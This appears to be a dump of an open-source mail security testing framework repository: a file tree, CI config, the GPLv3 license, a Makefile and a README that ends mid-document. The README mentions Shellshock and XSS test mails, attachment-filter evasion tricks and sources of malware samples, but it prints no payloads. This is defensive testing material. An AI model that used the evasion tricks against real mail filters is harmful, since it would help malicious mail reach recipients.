├── .gitignore ├── .travis.yml ├── LICENSE ├── Makefile ├── README.md ├── ci-tests ├── autodelay.conf ├── delay.conf ├── dummies │ ├── dummy.eml │ └── dummy.txt ├── dummy-blacklist.txt ├── maildir-noevasion.conf ├── mbox-all.conf ├── output-plain.conf ├── requirements.txt ├── smtp-all.conf └── testcases.conf ├── delivery.py ├── logging.py ├── mail-tester.py └── tests ├── __init__.py ├── base.py ├── blacklisting.py ├── bounce.py ├── bulk.py ├── dangerous_attachments.py ├── discovery.py ├── empty.py ├── evasion.py ├── exploits.py ├── iframe.py ├── impostor.py ├── malware.py ├── spam.py ├── spf.py └── xss.py /.gitignore: -------------------------------------------------------------------------------- 1 | .*.sw? 2 | __pycache__ 3 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | language: python 2 | python: 3 | - 3.5 4 | - 3.6 5 | - "pypy3.5" 6 | install: 7 | - pip install -r ci-tests/requirements.txt 8 | script: 9 | - make 10 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: test 2 | COVSCOPE = ./*.py,tests/*.py 3 | 4 | test: 5 | coverage erase 6 | coverage run -a --include=$(COVSCOPE) ./mail-tester.py --help 7 | coverage run -a --include=$(COVSCOPE) ./mail-tester.py --list 8 | coverage run -a --include=$(COVSCOPE) ./mail-tester.py @ci-tests/mbox-all.conf 9 | mkdir -p test.maildir/cur test.maildir/new test.maildir/tmp; coverage run -a --include=$(COVSCOPE) ./mail-tester.py @ci-tests/maildir-noevasion.conf 10 | mkdir -p test.mails; coverage run -a --include=$(COVSCOPE) ./mail-tester.py @ci-tests/output-plain.conf 11 | coverage run -a --include=$(COVSCOPE) ./mail-tester.py @ci-tests/testcases.conf 12 | python -m smtpd -c DebuggingServer -n localhost:2525 & 13 | coverage run -a --include=$(COVSCOPE) ./mail-tester.py @ci-tests/smtp-all.conf 14 | coverage run -a --include=$(COVSCOPE) ./mail-tester.py @ci-tests/delay.conf 15 | coverage run -a --include=$(COVSCOPE) ./mail-tester.py @ci-tests/autodelay.conf 16 | coverage report --fail-under 90 17 | coverage erase 18 | rm -fr test.log test.mbox test.maildir test.mails 19 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![Build Status](https://api.travis-ci.org/TKCERT/mail-security-tester.svg?branch=master)](https://travis-ci.org/TKCERT/mail-security-tester) 2 | # Mail Security Testing Framework 3 | 4 | A testing framework for mail security and filtering solutions. 5 | 6 | **IMPORTANT:** Don't do anything evil with this! Tests of cloud or otherwise hosted solutions should always be approved 7 | by the tested provider. Only use your own test accounts and don't annoy anyone with a load of test mails. 8 | 9 | ## Installation 10 | 11 | The mail security testing framework works with with Python >=3.5. Just pull this repository and go ahead. No further 12 | dependencies are required. 13 | 14 | ## Usage 15 | 16 | The script *mail-tester.py* runs the tests. Read the help message with `./mail-tester.py --help` and check the list of 17 | test and evasion modules with `./mail-tester.py -l` to get an overview about the capabilities and the usage of the 18 | script. Some hints: 19 | 20 | * At least the parameters `--smtp-server` and `--to` should be given for a minimal test run. 21 | * All parameters can also be stored in configuration files without the prefix `--`. These configuration files can be 22 | used by invoking `./mail-tester.py @tester.conf` (configuration contained in *tester.conf*). 23 | * Multiple recipients can be configured with `--to` for testing of different filter configurations. 24 | * Some mail filtering solutions may reject messages after a while. Use `--auto-delay` for automatic throttling of the 25 | mails. This can be fine-tuned with `--delay-step`, `--delay-max` and `--delay`. 26 | * Some tests (Spam and Malware) require samples. Put these in directories and configure these directories with 27 | `--spam-folder` and `--malware-folder` parameters. The samples are not included in this repository (and will not be). 28 | Good places to get malware are [theZoo](https://github.com/ytisf/theZoo), [Das Malwerk](http://dasmalwerk.eu/) or 29 | other collections. Spam can be exported straight from yout Spam folder, but must be in EML format. 30 | * Blacklists can be supplied with the `--blacklist` parameter and are used as sender addresses. 31 | * The Shellshock and subject XSS test cases should have a valid backconnect domain, where you are able to see any backconnects 32 | (especially DNS requests). The free [Canary Tokens service](http://canarytokens.org/generate) can be used for this 33 | purpose. Thanks to [Thinkst](https://thinkst.com/) for providing this awesome service! 34 | * Some neat attachment recognition evasion tricks can be enabled with `--evasion content-disposition`. These were used 35 | in the past to confuse AV/sandboxing solutions and let them pass malicious mails. 36 | * Don't forget to log the test results with `--log`. Mail filtering providers often reject mails in the SMTP dialog, 37 | which is reflected in the generated log. 38 | * Test cases can be dumped with `--output` as plain files in a directory, in MBox (`--mbox`) or MailDir (`--maildir`) 39 | format. This is useful to test mail user agents without sending any mails, to document or review generated test cases. 40 | 41 | ## Development and Extension 42 